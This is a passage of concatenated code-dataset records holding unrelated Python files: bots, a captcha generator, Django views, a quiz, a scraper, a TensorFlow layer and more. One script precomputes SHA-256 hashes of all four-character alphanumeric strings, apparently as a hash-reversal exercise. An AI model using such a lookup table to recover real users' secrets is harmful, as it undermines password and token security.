sizes = list(filter(lambda s: s['type'] in ['x', 'y', 'z'],\n picture['photo']['sizes']))\n if sizes:\n urls.append(sorted(sizes, key=lambda s: s['type'], reverse=True)[0]['url'])\n else:\n return 'Мемы не обнаружены'\n if urls:\n return urls\n\n def pozor_story(self):\n\n '''Return text story from vk.com'''\n\n while True:\n offset = random.randint(0, 1000)\n r = self.api.wall.get(owner_id='-71729358', count=100, offset=offset)['items']\n r = random.choice(r)\n print(r)\n if r['marked_as_ads'] != 1:\n if r['text']:\n return r['text']\n elif r['attachments']:\n if r['attachments'][0]['photo']['photo_604']:\n return r['attachments'][0]['photo']['photo_604']\n else:\n continue\n","sub_path":"vk_integ.py","file_name":"vk_integ.py","file_ext":"py","file_size_in_byte":1996,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"614276248","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time : 18-6-29 下午12:41\n# @Author : Tom.Lee\n# @File : image_verification_code.py\n# @Product : PyCharm\n# @Docs : \n# @Source : \n\n\"\"\"\n Linux 的字体文件是放在/usr/share/fonts目录下\n windows 的字体文件是放在C:\\Windows\\Fonts中\n\"\"\"\nfrom __future__ import absolute_import, division, print_function\nimport os\nimport random\n\nfrom PIL import Image, ImageDraw, ImageFont, ImageFilter\n\nFONT_PACKAGE = '/usr/share/fonts'\n\nfont_true_type = os.path.join(FONT_PACKAGE, '/truetype/ubuntu-font-family/Ubuntu-LI.ttf')\n\n\ndef random_code(code_len=1):\n \"\"\"\n # 随机码 默认长度=1\n :param code_len:\n :return:\n \"\"\"\n return ''.join([chr(random.randint(65, 90)) for _ in xrange(code_len)])\n\n\ndef random_zh(code_len=1):\n _str = u'每一个朋友不管他自己的生活是怎样苦怎样简单也要慷慨地分一些东西给我虽然明知道我' \\\n u'不能够报答他有些朋友连他们的名字我以前也不知道他们却关心我的健康处处打听我的病况' \\\n u'直到他们看见了我那被日光晒黑了的脸和膀子他们才放心地微笑了这种情形的确值得人掉眼泪'\n return u'{}'.format(''.join([random.choice(_str) for _ in xrange(code_len)]))\n\n\ndef random_color(start=1, end=255):\n \"\"\"\n 随机颜色 默认颜色范围【1,255】\n :param start: 开始值\n :param end:  结束值\n :return:\n \"\"\"\n return random.randint(start, end), random.randint(start, end), random.randint(start, end)\n\n\ndef verification_code(code_len=4, width=160, height=80):\n \"\"\"\n 生成验证码\n :param code_len:验证码长度\n :param width: 图片宽度\n :param height: 图片高度\n :return: code,image\n \"\"\"\n # 创建Image对象\n _image = Image.new('RGB', (width, height), (255, 255, 255))\n # 创建Font对象\n font = ImageFont.truetype(font_true_type, 50)\n # 创建Draw对象\n draw = ImageDraw.Draw(_image)\n\n # 随机颜色填充每个像素\n # for x in range(width):\n # for y in range(height):\n # draw.point(xy=(x, y), fill=random_color(1, 100))\n [draw.point(xy=(x, y), fill=random_color(1, 160)) for y in xrange(height) for x in xrange(width)]\n\n # 验证码\n code_chars = random_code(code_len)\n # 字母左右位置\n step_size = width / code_len - 5\n # 字母上下位置\n padding_size = 10\n\n # 随机颜色验证码写到图片上\n # for t in range(code_len):\n # draw.text(xy=(step_size * t + 5, padding_size),\n # text=code[t],\n # fill=random_color(50, 255),\n # font=font)\n [draw.text((step_size * t + 5, padding_size), code_chars[t], random_color(50, 255), font) for t in xrange(code_len)]\n\n # 模糊滤镜\n _image = _image.filter(ImageFilter.BLUR)\n return code_chars, _image\n\n\nif __name__ == '__main__':\n \"\"\"\n test\n \"\"\"\n code, image = verification_code()\n image.save('png/verification_code.png')\n print(code)\n print(random_code(3))\n print(random_zh(3))\n","sub_path":"2.7/data_analysis/study_PIL/image_verification_code.py","file_name":"image_verification_code.py","file_ext":"py","file_size_in_byte":3134,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"555895735","text":"from django.urls import path\n\nfrom .views import PollListView, PollAddView, QuestionListView, QuestionAddView, AnswerAddView, AnswerListView, \\\n PollAvailableView, PollEditView, QuestionEditView, PollDeleteView, QuestionDeleteView\n\nurlpatterns = [\n path('poll/list', PollListView.as_view()),\n path('poll/add', PollAddView.as_view()),\n path('question/list', QuestionListView.as_view()),\n path('question/add', QuestionAddView.as_view()),\n path('answer/add', AnswerAddView.as_view()),\n path('answer/list', AnswerListView.as_view()),\n path('poll/available', PollAvailableView.as_view()),\n path('poll/edit', PollEditView.as_view()),\n path('question/edit', QuestionEditView.as_view()),\n path('poll/delete', PollDeleteView.as_view()),\n path('question/delete', QuestionDeleteView.as_view()),\n]\n","sub_path":"api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":822,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"94463433","text":"import csv\n\n\nclass CsvReader:\n\n def __init__(self, path):\n data = []\n with open(path, mode='r') as csv_file:\n csv_dict_reader = csv.DictReader(csv_file)\n for row in csv_dict_reader:\n data.append(row)\n self.data = data\n","sub_path":"utils/csv_reader.py","file_name":"csv_reader.py","file_ext":"py","file_size_in_byte":279,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"451114238","text":"import time\r\np1 = input(\"Em que ano o Palmeiras ganhou o mundial de clubes?\\na)1950\\nb)1951\\nc)Palmeiras não tem mundial\\n\")\r\np2 = input(\"Quantas copas do mundo tem a seleção da Argentina? \\na)3 \\nb)2 \\nc)1\\n\")\r\np3 = input(\"Quem fez o gol da vitória do Uruguai na copa do mundo de 1950? \\na)Schiaffino \\nb)Ghiggia \\nc)Máspoli \\n\")\r\np4 = input(\"Quem é o atual treinador do grêmio? \\na)Renato Gaúcho \\nb)Renato Rocha \\nc)Renato Abreu \\n\")\r\np4 = input(\"Qual é o nome do ex-melhor jogador do mundo que é conhecido nas redes sociais como 'O bruxo'?\\na)Zidane \\nb)Kaká \\nc)Ronaldinho Gaúcho \\n\")\r\np5 = input(\"Quem é o jornalisra esportivo famoso nas redes sociais por liberar decretos bem humorados na sexta feira? \\na) André Rizek \\nb)Alê Oliveira \\nc)Cleber Machado \\n\")\r\np6 = input(\"Que tradicional time fica localizado no bairo da Mooca, em São Paulo? \\na)Juventus \\nb)Grêmio da Mooca \\nc)Linense \\n\")\r\np7 = input(\"Quem marcou o último gol da seleção brasileira na copa do mundo de 2010? \\na)Robinho \\nb)Luís Fabiano \\nc)Graffite \\n\")\r\np8 = input(\"Em que ano foi disputado o primeiro campeonato inglês de futebol? \\na)1890 \\nb)1888 \\nc)1915 \\n\")\r\np9 = input(\"Quem marcou o lendário gol do titulo da champions league para o Manchester United na temporada 98/99? \\na)Solskjær \\nb)Sherringham \\nc)Beckham \\n\")\r\np10 = input(\"Quem levantou a taça da copa do mundo de 2002? \\na)Ronaldo \\nb)Robinho \\nc)Cafú \\n\")\r\n\r\nif p1 == \"a\":\r\n a = 0\r\nelif p1 == \"b\":\r\n a = 0\r\nelse:\r\n a = 1\r\nif p2 == \"a\":\r\n b = 0\r\nelif p2 == \"b\":\r\n b = 1\r\nelse:\r\n b = 0\r\nif p3 == \"a\":\r\n c = 0\r\nelif p3 == \"b\":\r\n c = 1\r\nelse:\r\n c = 0\r\nif p4 == \"a\":\r\n d = 0\r\nelif p4 == \"b\":\r\n d = 0\r\nelse:\r\n d = 1\r\nif p5 == \"a\":\r\n e = 0\r\nelif p5 == \"b\":\r\n e = 1\r\nelse:\r\n e = 0\r\nif p6 == \"a\":\r\n f = 1\r\nelif p6 == \"b\":\r\n f = 0\r\nelse:\r\n f = 0\r\nif p7 == \"a\":\r\n g = 1\r\nelif p7 == \"b\":\r\n g = 0\r\nelse:\r\n g = 0\r\nif p8 == \"a\":\r\n h = 0\r\nelif p8 == \"b\":\r\n h = 1\r\nelse:\r\n h = 0\r\nif p9 == \"a\":\r\n i = 1\r\nelif p9 == \"b\":\r\n i = 0\r\nelse:\r\n i = 0\r\nif p10 == \"a\":\r\n j = 0\r\nelif p10 == \"b\":\r\n j = 0\r\nelse:\r\n j = 1\r\n\r\npf = a + b + c + d + e + f + g + h + i + j\r\nif pf >=0 and pf <=4 :\r\n print (\"Sua pontuação foi: \", pf, \"Você sabe pouco sobre a história de as lendas do futebol, estude mais!\")\r\nelif pf >=5 and pf <=8:\r\n print (\"Sua pontuação foi: \", pf, \"Quase lá, você conhece o básico sobre o futebol e suas lendas\")\r\nelse:\r\n print (\"Sua pontuação foi: \", pf, \"Oloco bicho, sabe mais de futebol que o lendário PVC. Parabéns!\")\r\ntime.sleep(5)\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n\r\n \r\n","sub_path":"trivia.py","file_name":"trivia.py","file_ext":"py","file_size_in_byte":2730,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"79036015","text":"import tkinter as tk\nfrom random import randint\n\n\n\n# ====== TKINTER GUI ===========\nclass Window:\n\n\tdef __init__(self):\n\t\tself.root = tk.Tk()\n\t\tself.root.geometry(\"800x600\")\n\t\tself.root.config(background=\"black\")\n\t\tself.widgets()\n\t\tself.root.mainloop()\n\n\tdef widgets(self):\n\t\tself.label_widget()\n\t\tself.color1 = 0\n\t\tself.color2 = 0\n\t\tself.color3 = 0\n\t\tself.scale_widget1()\n\t\tself.scale_widget2()\n\t\tself.scale_widget3()\n\n\n\tdef label_widget(self):\n\t\tself.label = tk.Label(self.root,\n\t\t\ttext=\"...\",\n\t\t\tfont=\"Arial 20\",\n\t\t\t)\n\t\tself.label.pack(pady=80)\n\n\tdef scale_widget1(self):\n\t\tself.var1 = tk.IntVar()\n\t\tself.scale1 = tk.Scale(self.root,\n\t\t\tvariable=self.var1,\n\t\t\tfrom_=0, to=255, length=255,\n\t\t\torient=tk.HORIZONTAL,\n\t\t\tcommand=self.scalecommand1)\n\t\tself.scale1.pack()\n\n\n\tdef scale_widget2(self):\n\t\tself.var2 = tk.IntVar()\n\t\tself.scale2 = tk.Scale(self.root,\n\t\t\tvariable=self.var2,\n\t\t\tfrom_=0, to=255, length=255,\n\t\t\torient=tk.HORIZONTAL,\n\t\t\tcommand=self.scalecommand2)\n\t\tself.scale2.pack()\n\n\tdef scale_widget3(self):\n\t\tself.var3 = tk.IntVar()\n\t\tself.scale3 = tk.Scale(self.root,\n\t\t\tvariable=self.var3,\n\t\t\tfrom_=0, to=255, length=255,\n\t\t\torient=tk.HORIZONTAL,\n\t\t\tcommand=self.scalecommand3)\n\t\tself.scale3.pack()\n\n\n\n\n\tdef rgb_to_hex(self, r, g, b):\n\t\tself.hex = '#{:02x}{:02x}{:02x}'.format(r, g, b)\n\n\n\tdef refresh_color(self):\n\t\tself.rgb_to_hex(self.color1,self.color2,self.color3)\n\t\tself.root.title(f\"{self.color1},{self.color2},{self.color3}\")\n\t\tself.label.config(text=(self.hex))\n\t\tself.root.config(background=self.hex)\n\n\n\tdef scalecommand1(self, scale_size):\n\t\t''' modify text in label = scale size '''\n\t\tself.color1 = int(scale_size)\n\t\tself.refresh_color()\n\n\n\tdef scalecommand2(self, scale_size):\n\t\t''' modify text in label = scale size '''\n\t\tself.color2 = int(scale_size)\n\t\tself.refresh_color()\n\n\n\tdef scalecommand3(self, scale_size):\n\t\t''' modify text in label = scale size '''\n\t\tself.color3 = int(scale_size)\n\t\tself.refresh_color()\n\n\napp = Window()","sub_path":"scale_widget_rgb_to_hex.py","file_name":"scale_widget_rgb_to_hex.py","file_ext":"py","file_size_in_byte":1956,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"431877394","text":"import logging\nimport time\n\nfrom typing import Optional, List, NoReturn\nfrom threading import Thread, Lock\n\nfrom selenium import webdriver\nfrom selenium.common.exceptions import TimeoutException\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.support.wait import WebDriverWait\n\nimport settings\nfrom bets_utils import to_hash, get_base_url\n\n\nclass BaseBetParser(Thread):\n \"\"\"\n базовый класс парсера сайта\n \"\"\"\n\n def __init__(self, web_driver: webdriver, url: str,\n driver_lock: Lock = None,\n parent: Optional['BaseBetParser'] = None):\n super(BaseBetParser, self).__init__()\n logging.debug(\n f\"Создается экземпляр {self.__class__.__name__} \"\n f\"с параметрами webdriver:{web_driver.name} url:{url}\")\n # assert webdriver and url\n self.driver: webdriver = web_driver\n self.url = url.strip() if url else ''\n self.base_url = get_base_url(self.url)\n self.tab_name = to_hash(self.url)\n self.parent = parent\n self.driver_lock = Lock() if not driver_lock else driver_lock\n self.my_lock = Lock()\n self.children: List['BaseBetParser'] = []\n self.errors = {}\n self.idling = 0\n self.content = ''\n self.content_hash = None\n self.is_content_changed = False\n self.counter = 0\n self._terminate = False\n\n self.__post_init__()\n pass\n\n def __post_init__(self) -> NoReturn:\n pass\n\n def process(self) -> NoReturn:\n raise NotImplementedError\n\n def prepare(self) -> NoReturn:\n pass\n\n def check_changes(self) -> NoReturn:\n logging.debug(f\"Проверяем состояние изменеия параметра ставок\")\n pass\n\n def check_404(self) -> bool:\n return False\n\n @property\n def is_error_page(self):\n res = self.check_404()\n if res:\n logging.critical(f\"Ошибка 404! (url:{self.url})\")\n return res\n\n def check_terminate(self):\n \"\"\"метод проверяет условие для завершения обработки класса \"\"\"\n if not self._terminate:\n self._terminate = self.idling > settings.MAX_IDLE and \\\n len(self.children) == 0\n\n @property\n def terminate(self):\n self.check_terminate()\n return self._terminate\n\n def load_new_tab(self):\n \"\"\"\n метод с помощью javascript создает в браузере новую вкладку\n и загружает в него url\n \"\"\"\n js = f\"window.open('{self.url}', '{self.tab_name}');\"\n logging.debug(\n f\"Выполняем скрипт по созданию новой вкладки:'{self.tab_name}'\"\n )\n with self.driver_lock:\n self.driver.execute_script(js)\n logging.debug(f\"Вкладка успешно создана.\")\n\n def waiting_page_load(self, locator, timeout=None, attempts=None):\n \"\"\"\n метод ожидает закгрузки контента\n locator - элемент по которому проверяют загрузку\n переменые timeout - время ожидания, attempts - кол-во попыток\n если все попытки завершились не удачей, вызывается метод для\n остановки обработчика класса\n Пример:\n waiting_page_load(locator=(By.ID, \"content\"))\n \"\"\"\n timeout = settings.DOWNLOAD_TIMEOUT if not timeout else timeout\n attempts = settings.DOWNLOAD_ATTEMPTS if not attempts else attempts\n i = 0\n logging.debug(f\"Ждем {timeout}сек. для загрузки контента \"\n f\"(всего попыток {attempts})\")\n with self.driver_lock:\n self.driver.switch_to.window(self.tab_name)\n for i in range(1, attempts + 1):\n try:\n logging.debug(f\"Попытка {i}\")\n WebDriverWait(self.driver, timeout).until(\n EC.visibility_of_element_located(locator))\n logging.debug(\"данные успешно загруженны\")\n break\n except TimeoutException:\n logging.warning(f\"Время ожидания загрузки истекло.\",\n exc_info=True)\n self.driver.switch_to.window(self.tab_name)\n\n if i == attempts:\n logging.critical(f\"Использован лимит попыток на загрузку контента\")\n self.stop()\n\n def stop(self):\n \"\"\"\n Метод для остановки работы класса\n :return:\n \"\"\"\n self.idling = settings.MAX_IDLE\n self._terminate = True\n\n def close(self):\n # закрываем всех потомков\n for child in self.children:\n child.close()\n # удаляем себя из перечня предка\n if self.parent and self in self.parent.children:\n with self.parent.my_lock:\n self.parent.children.remove(self)\n # закрываем вкладку\n with self.driver_lock:\n self.driver.switch_to.window(self.tab_name)\n self.driver.close()\n self.driver.switch_to.window(self.driver.window_handles[0])\n logging.info(f\"Поток {self.getName()} закрывается. \"\n f\"Кол-во обработок:{self.counter}\")\n\n def run(self) -> None:\n self.prepare()\n if not self.is_error_page:\n while not self.terminate:\n self.process()\n self.check_changes()\n self.idling += 1\n self.counter += 1\n time.sleep(settings.BET_SLEEP)\n self.close()\n\n @classmethod\n def execute(cls, wb: webdriver, url: str):\n instance = cls(wb, url)\n instance.start()\n instance.join()\n # instance.prepare()\n # while instance.idling < settings.MAX_IDLE:\n # instance.process()\n # instance.check_changes()\n # instance.counter += 1\n # time.sleep(settings.BET_SLEEP)\n # instance.close()\n","sub_path":"TotalizatorWebScraping/core/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":6556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"58256936","text":"import discord\nfrom discord.ext import commands\nfrom discord.utils import get\nimport os\nfrom discord.ext.commands import has_permissions, MissingPermissions\nimport json\nimport asyncio\n\nbot = commands.Bot(command_prefix=\".\")\nbot.remove_command(\"help\")\n\n@bot.event\nasync def on_ready():\n print(\"Bot running with:\")\n print(\"Username: \", bot.user.name)\n print(\"User ID: \", bot.user.id)\n await bot.change_presence(activity=discord.Game(name=\"Här kan det stå vad du vill!\"))\n\n@bot.event\nasync def on_member_join(member):\n unverified = discord.utils.get(member.guild.roles, name=\"lvl1\") #finds the unverified role in the guild\n await member.add_roles(unverified) #adds the unverified role to the member\n \n\ndef channel_2(ctx):\n return ctx.channel.id == 871066907766325309\n\n@bot.command()\n@commands.check(channel_2) # checks if the channel the command is being used in is the verifiy channel\nasync def verify(ctx, user: discord.Member=None):\n unverified = discord.utils.get(ctx.guild.roles, name=\"lvl1\") #finds the unverified role in the guild\n if unverified in ctx.author.roles: #checks if the user running the command has the unveirifed role\n verify = discord.utils.get(ctx.guild.roles, name=\"lvl2\") #finds the verified role in the guild\n\n await ctx.message.delete() \n await ctx.author.remove_roles(unverified)\n await ctx.author.add_roles(verify) #adds the verified role to the member\n await ctx.author.send(\"Du har nu tillgång till lvl2! ✅\")\n else:\n await ctx.message.delete() \n await ctx.author.send('Du är redan lvl2 eller högre! ❎')\n\n\n\n\n\n\n\nbot.run(os.environ['TOKEN'])","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1661,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"296806850","text":"import tensorflow as tf\nimport numpy as np\n\nimport ulib as lib\n\n_default_weight_norm = False\n_weights_stddev = None\n\n\ndef enable_default_weight_norm():\n global _default_weight_norm\n _default_weight_norm = True\n\n\ndef set_weights_stddev(weights_dev):\n global _weights_stddev\n _weights_stddev = weights_dev\n\n\ndef unset_weights_stddev():\n global _weights_stddev\n _weights_stddev = None\n\n\ndef conv2d(name, input_dim, output_dim, filter_size, inputs,\n he_init=True, mask_type=None, stride=1, weight_norm=False, bias=True, gain=1.):\n \"\"\"\n :param name: name space\n :param input_dim:\n :param output_dim:\n :param filter_size:\n :param inputs:\n :param he_init:\n :param mask_type: mask_type: one of None, 'a', 'b'\n :param stride:\n :param weight_norm:\n :param bias:\n :param gain:\n :return:\n \"\"\"\n\n with tf.name_scope(name) as local_scope:\n\n def uniform(stddev, size):\n return np.random.uniform(low=-stddev * np.sqrt(3),\n high=stddev * np.sqrt(3),\n size=size).astype(np.float32)\n\n fan_in = input_dim * (filter_size ** 2)\n fan_out = output_dim * (filter_size ** 2) / (stride ** 2)\n\n if mask_type is not None:\n fan_in /= 2\n fan_out /= 2\n\n if he_init:\n filter_stddev = np.sqrt(4. / (fan_in + fan_out))\n else:\n filter_stddev = np.sqrt(2. / (fan_in + fan_out))\n\n if _weights_stddev is not None:\n filter_values = uniform(_weights_stddev,\n (filter_size, filter_size, input_dim, output_dim))\n else:\n filter_values = uniform(filter_stddev,\n (filter_size, filter_size, input_dim, output_dim))\n\n filter_values *= gain\n\n filters = lib.param(name + '.Filters', filter_values)\n\n if weight_norm is None:\n weight_norm = _default_weight_norm\n\n if weight_norm:\n norm_values = np.sqrt(np.sum(np.square(filter_values), axis=(0, 1, 2)))\n target_norm = lib.param(name + '.g', norm_values)\n with tf.name_scope('weight_norm') as weight_scope:\n norms = tf.sqrt(tf.reduce_sum(tf.square(filters), reduction_indices=[0, 1, 2]))\n filters *= tf.expand_dims(target_norm / norms, 1)\n\n if mask_type is not None:\n mask_type, mask_n_channels = mask_type\n\n mask = np.ones((filter_size, filter_size, input_dim, output_dim), dtype=np.float32)\n center = filter_size // 2\n\n # mask out future locations\n # filter shape is (height, width, input channels, output channels\n mask[center+1, :, :, :] = 0.\n mask[center, center+1:, :, :] = 0.\n\n # mask out future channels\n for i in xrange(mask_n_channels):\n for j in xrange(mask_n_channels):\n if (mask_type == 'a' and i >= j) or (mask_type == 'b' and i > j):\n mask[center, center, i::mask_n_channels, j::mask_n_channels] = 0.\n\n with tf.name_scope('filter_mask'):\n filters *= mask\n\n result = tf.nn.conv2d(\n input=inputs,\n filter=filters,\n strides=[1, stride, stride, 1],\n padding='SAME',\n data_format='NHWC',\n )\n\n if bias:\n _biases = lib.param(name + '.biases', np.zeros(output_dim, dtype=np.float32))\n result = tf.nn.bias_add(result, _biases, data_format='NHWC')\n\n return result\n","sub_path":"iwgan/ulib/ops/conv2d.py","file_name":"conv2d.py","file_ext":"py","file_size_in_byte":3609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"581114603","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom .models import Tool, TypeOfTool, Newsletter\nimport json\nfrom django.core import serializers\n\ndef index(request):\n\ttools = Tool.objects.all().filter(activate=True)\n\ttypes = TypeOfTool.objects.all()\n\treturn render(request, 'project/index.html', {'tools': tools, 'types': types})\n\ndef search(request):\n\tif request.method == 'POST':\n\t\ttypeId = request.POST.get('typeId')\n\t\ttools = list(Tool.objects.all().filter(typeOfTool__id=typeId))\n\t\tdata = serializers.serialize(\"json\", tools)\n\t\treturn HttpResponse(\n\t\t\tjson.dumps(data),\n\t\t\tcontent_type=\"application/json\"\n\t\t)\n\n\ndef registerNewsletter(request):\n\tif request.method == 'POST':\n\t\temail = request.POST.get('email')\n\t\tresponse = {}\n\t\tif email == '':\n\t\t\tresponse['status'] = 'wrong'\n\t\t\tresponse['message'] = 'Email null'\n\t\telse:\n\t\t\tobj = Newsletter.objects.all().filter(email=email)\n\t\t\tif (len(obj) == 0):\n\t\t\t\tregister = Newsletter(email=email)\n\t\t\t\tregister.save()\n\t\t\t\tresponse['status'] = 'success'\n\t\t\t\tresponse['message'] = 'Register validate'\n\t\t\telse:\n\t\t\t\tresponse['status'] = 'wrong'\n\t\t\t\tresponse['message'] = 'User register'\n\t\treturn HttpResponse(json.dumps(response),content_type=\"application/json\")\n\n\n\n# Create your views here.\n","sub_path":"project/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1258,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"78974684","text":"#!/usr/bin/env python3\nimport pandas as pd\nimport hw2\nimport csv\nimport matplotlib.pyplot as plt\nimport math\nimport operator\nimport collections\n\ndef mean_filter(l, width=3):\n place_holder = 0\n new = []\n\n # Find the distance from center number to either side\n side = int((width - 1)/2)\n\n # Iterate through list starting with left side of number\n # To last number with side buffer\n for i in range(side, len(l) - (side+1)+1):\n for j in range(i-side, i+side+1):\n place_holder = place_holder + l[j]\n new.append(round(place_holder/width, 2))\n place_holder = 0\n \n \n return new\n \n\ndef filtered_average_intensity():\n df = pd.read_csv('inte.csv')\n inte = df['Intensity'].tolist()\n dates = df['Date'].tolist()\n \n \n # clean up data (remove repeats)\n # for i in range(len(inte) - 1):\n # if inte[i] == inte[i+1]:\n # del inte[i]\n # del dates[i]\n\n # perform movmean averaging on data to smooth\n # inte = mean_filter(inte, 3)\n inte = mean_filter(inte, 150)\n print(inte)\n # print(dates)\n index = list(range(len(inte)))\n \n # plot the graph\n plt.plot(index, inte)\n plt.ylabel('Intensity')\n plt.xlabel('Time')\n plt.show()\n\ndef color(color_key):\n d = color_key\n dd = collections.defaultdict(list)\n for k, v in d.items():\n dd[v].append(k)\n x = sorted(dd.items())\n\n\n return x[-2]\nif __name__ == '__main__':\n trial_key = {'blue': 2000, 'red': 1, 'green': 10, 'yellow': 2001}\n print(color(trial_key))","sub_path":"trial.py","file_name":"trial.py","file_ext":"py","file_size_in_byte":1557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"123761052","text":"#!python\n\nimport pickle\nimport string\nimport itertools\nimport os\nimport hashlib\nimport pathlib\nimport json\n\nfrom collections import defaultdict\n\n\nSIZE = 4\nALPHANUM_CHARS = string.digits + string.ascii_letters\nHASHES_DICTIONARY_DIRECTORY = \"hashes_dictionary\"\n\nif __name__ == \"__main__\":\n hashes_dict_dir = pathlib.Path(HASHES_DICTIONARY_DIRECTORY).absolute()\n\n # clear dir and generate new\n if hashes_dict_dir.exists():\n for hash_part_file in hashes_dict_dir.iterdir():\n hash_part_file.unlink()\n\n hashes_dict_dir.rmdir()\n\n os.mkdir(hashes_dict_dir)\n\n # permutations iterator\n chars_permutations = itertools.permutations(ALPHANUM_CHARS, SIZE)\n\n candidate_count = 0\n hash_dict_part_count = 0\n candidates_hash_dictionary = defaultdict(list)\n\n try:\n while True:\n candidate = \"\".join(next(chars_permutations))\n candidate_hash = hashlib.sha256(\n candidate.encode('utf-8')\n ).hexdigest()\n candidates_hash_dictionary[candidate_hash].append(candidate)\n\n candidate_count += 1\n\n if candidate_count >= 1_000_000:\n hash_dict_part_count += 1\n\n part_name = f\"hash_dict.{hash_dict_part_count}.part.data\"\n part_path = os.path.join(hashes_dict_dir, part_name)\n\n print(f\"Dumping {part_name} at {candidate}\")\n with open(part_path, \"wb\") as part_file:\n pickle.dump(candidates_hash_dictionary, part_file)\n\n candidates_hash_dictionary = defaultdict(list)\n candidate_count = 0\n\n except StopIteration:\n print(\"\\n----------\\nWE'RE DONE\\n\")\n\n print(f\"Finalizing ...\")\n\n summary_path = os.path.join(hashes_dict_dir, \"0_summary.txt\")\n with open(summary_path, \"w\") as summary_file:\n json.dump({\"parts_count\": hash_dict_part_count}, summary_file)\n","sub_path":"e06_pregenerated_hashes_for_all_permutations_of_length_4/01_generate_hashes.py","file_name":"01_generate_hashes.py","file_ext":"py","file_size_in_byte":1909,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"350809280","text":"# Regen & Mod by @shamilhabeebnelli\n# Pyrogram - Telegram MTProto API Client Library for Python\n# Copyright (C) 2017-2020 Dan \n#\n# This file is part of Pyrogram.\n#\n# Pyrogram is free software: you can redistribute it and/or modify\n# it under the terms of the GNU Lesser General Public License as published\n# by the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# Pyrogram is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU Lesser General Public License for more details.\n#\n# You should have received a copy of the GNU Lesser General Public License\n# along with Pyrogram. If not, see .\n\nfrom pyrogram.types import InlineKeyboardMarkup, InlineKeyboardButton, CallbackQuery\nfrom pyrogram import Client, emoji\nfrom utils import mp\nfrom config import Config\nplaylist=Config.playlist\n\nHELP = \"\"\"\n\n🎧 I Can Play Music On VoiceChats 🤪\n\n© MADE By \n[ __@FILIMSMOVIE | @ALLUADDICT ]\n\"\"\"\n\n\n@Client.on_callback_query()\nasync def cb_handler(client: Client, query: CallbackQuery):\n if query.data == \"rp\":\n group_call = mp.group_call\n if not playlist:\n return\n group_call.restart_playout()\n if not playlist:\n pl = f\"😖 Nothing On Que Ser\"\n else:\n pl = f\"🎧 **Playlist**:\\n\" + \"\\n\".join([\n f\"**{i}**. **📻{x[1]}**\\n 👤**Requested by:** {x[4]}\"\n for i, x in enumerate(playlist)\n ])\n await query.edit_message_text(\n f\"{pl}\",\n parse_mode=\"Markdown\",\n reply_markup=InlineKeyboardMarkup(\n [\n [\n InlineKeyboardButton(\"🔄Replay🔄\", callback_data=\"rp\"),\n InlineKeyboardButton(\"⏸Pause⏸\", callback_data=\"ps\")\n ],[\n InlineKeyboardButton(\"⏭Skip⏭\", callback_data=\"sk\"),\n InlineKeyboardButton(\"👥Group👥\", url=\"https://t.me/filimsmovie\")\n ]\n ]\n )\n )\n\n elif query.data == \"ps\":\n if not playlist:\n return\n else:\n mp.group_call.pause_playout()\n pl = f\"🎧 **Playlist**:\\n\" + \"\\n\".join([\n f\"**{i}**. **📻{x[1]}**\\n 👤**Requested by:** {x[4]}\"\n for i, x in enumerate(playlist)\n ])\n await query.edit_message_text(f\"{emoji.PLAY_OR_PAUSE_BUTTON} Paused\\n\\n{pl}\",\n reply_markup=InlineKeyboardMarkup(\n [\n [\n InlineKeyboardButton(\"🔄Replay🔄\", callback_data=\"rp\"),\n InlineKeyboardButton(\"▶️Resume▶️\", callback_data=\"rs\")\n ],[\n InlineKeyboardButton(\"⏭Skip⏭\", callback_data=\"sk\"),\n InlineKeyboardButton(\"👥Group👥\", url='https://t.me/filimsmovie')\n ],\n ]\n )\n )\n\n \n elif query.data == \"rs\": \n if not playlist:\n return\n else:\n mp.group_call.resume_playout()\n pl = f\"🎧 **Playlist**:\\n\" + \"\\n\".join([\n f\"**{i}**. **📻{x[1]}**\\n 👤**Requested by:** {x[4]}\"\n for i, x in enumerate(playlist)\n ])\n await query.edit_message_text(f\"{emoji.PLAY_OR_PAUSE_BUTTON} Resumed\\n\\n{pl}\",\n reply_markup=InlineKeyboardMarkup(\n [\n [\n InlineKeyboardButton(\"🔄Replay🔄\", callback_data=\"rp\"),\n InlineKeyboardButton(\"⏸Pause⏸\", callback_data=\"ps\")\n ],[\n InlineKeyboardButton(\"⏭Skip⏭\", callback_data=\"sk\"),\n InlineKeyboardButton(\"👥Group👥\", url='https://t.me/filimsmovie')\n ],\n ]\n )\n )\n\n elif query.data==\"sk\": \n if not playlist:\n return\n else:\n await mp.skip_current_playing()\n pl = f\"🎧 **Playlist**:\\n\" + \"\\n\".join([\n f\"**{i}**. **📻{x[1]}**\\n 👤**Requested by:** {x[4]}\"\n for i, x in enumerate(playlist)\n ])\n try:\n await 